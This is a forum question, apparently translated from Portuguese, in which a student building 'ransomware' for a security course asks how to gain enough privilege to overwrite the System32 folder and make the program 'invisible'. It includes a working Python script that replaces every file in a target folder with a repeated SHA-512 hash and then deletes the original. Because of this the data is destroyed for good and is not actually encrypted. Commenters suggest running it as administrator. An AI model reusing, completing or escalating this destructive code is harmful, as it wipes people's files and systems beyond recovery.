I want to be able to access system folders

Asked

Viewed 59 times

0

I am doing a ransomware for a college job (will run on Vms) and I would like to target a folder the folder "System32" to "kill" the VM, but I need "power" and I don’t know how to do it

The course is Information Security and my goal is to warn not to fall into false links or things like, I can even later make available the final video of the work here

Objective: to give "power" to the code, making it able to encrypt a system folder

The code is this:

import hashlib
import os
import string
import sys


    #Windows - alvo
#c = 'C:\\Users\\teste\\Desktop\\teste' #win10
c = 'C:\\Windows\\System32' #win7


for files in os.listdir(c):
    os.chdir(c)
    with open(files, 'rb') as r:
        data = r.read()
        encrypt = hashlib.sha512(data).hexdigest()
        encrypt = encrypt.encode('utf-8') #resolveu o erro
        new_file = '(perdido)' +os.path.basename(files)
        with open(new_file, 'wb') as n:
            n.write(encrypt*0x31)
            n.close()
            r.close()

            os.remove(files)
  • 1

    What happens when you try to spin it?

  • If I’m not mistaken the script will need to be started in administered mode.

  • @Ken using the first path, he normally encrypts the target folder, either by running it straight from python or as . exe done Pyinstaller... already with the 2nd path q is my target, it simply gives a permission error (even run as Adm)

  • @pic vc says run the code with an open cmd like Adm ? pq when I ran . exe until I tried to open it as Adm and still won’t go

  • Yes, a few times I tried to use the lib os to move or delete files I had to start the prompt as Adm. But as I said it might not work, it’s just speculation

  • @pic I tried, it didn’t work... off q I want it to be "invisible"

Show 1 more comment
No answers

Browser other questions tagged

You are not signed in. Login or sign up in order to post.